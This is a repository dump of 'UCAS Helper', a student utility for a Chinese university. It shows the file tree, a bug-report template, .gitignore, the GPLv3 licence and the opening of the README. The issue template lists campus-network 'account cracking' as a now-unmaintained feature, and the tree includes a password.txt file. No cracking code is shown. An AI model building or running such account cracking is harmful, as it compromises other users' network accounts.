├── .github
└── ISSUE_TEMPLATE
│ └── bug---.md
├── .gitignore
├── LICENSE
├── README.md
├── accounts.json
├── conf
├── record.ini
└── user_config.ini
├── core
├── __init__.py
├── assess.py
├── download.py
├── grade.py
├── login.py
└── wifi.py
├── data
├── data.txt
└── password.txt
├── docs
├── change_log.md
├── functions.md
└── usage.md
├── handler
├── __init__.py
├── configer.py
├── exception.py
├── logger.py
├── new_ui.py
└── ui.py
├── img
├── 1-1.png
├── 1-2.png
├── 1-3.png
├── 1-4.png
├── 1.5.0-1.png
├── 1.5.0-2.png
├── 1.6.0.png
├── 1.7.0.png
├── 2-1.png
├── 3-1.png
├── 4-1.png
├── 5-1.png
├── 5-2.png
└── fix_1.4.3-1.png
├── requirements.txt
├── settings.py
├── ucashelper.py
└── util
├── __init__.py
├── functions.py
└── ocr.py
/.github/ISSUE_TEMPLATE/bug---.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug 报告
3 | about: 提交一个bug报告帮助项目改善
4 | title: 用一句话描述遇到的问题
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Bug描述**
11 | 请简短地描述你遇到的问题。
12 |
13 | **自查**
14 | 在提交问题前,请先确认以下几点。
15 | - 是否采用了最新的版本代码,检查自己采用的版本和github上版本是否一致
16 | - 是否严格按照了步骤进行了部署,有没有遗漏的地方
17 | > ⚠️目前由于本人精力原因,项目`master`分支已无力维护,请使用稳定版分支`v2`(已修改为默认分支)
18 |
19 | **出现问题的功能**
20 | - 资源下载
21 | - 自动评教(由于本人没有可评教课程,请邮件提供相关账号信息以供测评)
22 | - 成绩查询
23 | - ~~校园网登录/登出,账号破解~~(本人没有校园网环境,因此无法修复)
24 | - 其他
25 |
26 | **具体问题**
27 | 简单地描述你遇到的问题,例如**成功登录了sep,但没有跳转到课程资源下载界面**。
28 |
29 | **截图**
30 | 如果可以的话,请提供相关截图和报错信息,帮助快速诊断错误原因。
31 |
32 | **问题反馈时间**
33 | 问题提交后一般会在24小时内提供反馈,如果超时还没有,说明问题尚未解决或本人最近较忙没有时间处理,不过最终都会解决,请耐心等待。
34 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 |
39 | # Translations
40 | *.mo
41 | *.pot
42 |
43 | # Django stuff:
44 | *.log
45 | local_settings.py
46 | db.sqlite3
47 |
48 | # Flask stuff:
49 | instance/
50 | .webassets-cache
51 |
52 | # MacOS
53 | .DS_Store
54 |
55 | # Jupyter Notebook
56 | .ipynb_checkpoints
57 |
58 | # ide config
59 | .vscode/
60 | .idea/
61 |
62 | # Environments
63 | .env
64 | .venv
65 | env/
66 | venv/
67 | ENV/
68 | env.bak/
69 | venv.bak/
70 |
71 | .idea
72 | *.un~
73 |
74 | accounts*
75 | conf/
76 |
77 | log/
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # UCAS Helper(一个让UCASer愉悦的小助手)
2 | [](https://hits.seeyoufarm.com)
3 | 
4 | 
5 | 
6 | ```angular2
7 | *********************************************************************************
8 | ** # # ### # ### # # ### # ### ### #### **
9 | ** # # # # # # # # # # # # # # # **
10 | ** # # # # # #### #### ### # ### ### #### **
11 | ** # # # ####### # # # # # # # # # **
12 | ** ### ### ## ## ### # # ### ##### # ### # # **
13 | ** copyright@GentleCP **
14 | ** version: x.x.x **
15 | ** github: https://github.com/GentleCP/UCASHelper **
16 | ** 1:course sources download **
17 | ** 2:wifi login **
18 | ** 3:wifi logout **
19 | ** 4:course assess **
20 | ** 5:query grades **
21 | ** q:exit **
22 | *********************************************************************************
23 | ```
24 | 目录
25 | =================
26 | * [前言](#前言)
27 | * [1. 功能介绍](#1-功能介绍)
28 | * [2. 更新日志](#2-更新日志)
29 | * [3. 作者信息](#3-作者信息)
30 | * [4. 效果预览](#4-效果预览)
31 | * [5. 使用教程](#5-使用教程)
